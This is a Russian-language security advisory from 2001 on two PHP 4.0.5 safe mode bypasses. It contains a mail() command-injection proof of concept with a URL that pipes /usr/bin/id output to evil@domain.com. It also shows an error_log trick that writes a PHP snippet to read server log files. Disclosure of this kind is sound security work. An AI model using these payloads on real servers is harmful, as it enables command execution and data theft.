Security Lab

Проблемы в PHP safe mode

Дата публикации:03.07.2001
Дата изменения:17.10.2006
Всего просмотров:2529
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание:

Найдено 2 проблемы в PHP safe mode:

1. PHP версии 4.0.5 пропускает (break) safe mode

При вызове дополнительного 5 параметра в mail() команде нарушается safemode:

Часть кода в mail.c (156-165 строки):

if (extra_cmd != NULL) {

sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2);

strcpy (sendmail_cmd, sendmail_path);

strcat (sendmail_cmd, " ");

strcat (sendmail_cmd, extra_cmd);

} else {

sendmail_cmd = sendmail_path; }

sendmail = popen(sendmail_cmd, "w"); }

}

Атакующий может просто загрузить код evil.php скрипта, содержащего:

<? mail("foo@bar,"foo","bar","",$bar); ?>

простой командой:

http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com



2. PHP версии 4.0.5/4.0.4pl1 иногда пропускает (break) safe mode.

PHP safe mode имеет новую особенность запрещать открытие/чтение/запись файлов, которые не принадлежат универсальному идентификатору описанному в скрипте. Если в скрипте содержится следующий код:

<?

$cmd = '<? showsource($foo); ?>';

error_log($cmd,3,"/path/to/user/wwwspace/nobody.php");

?>

То тогда доступ к error_log можно получить, используя следующий URL:

http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log.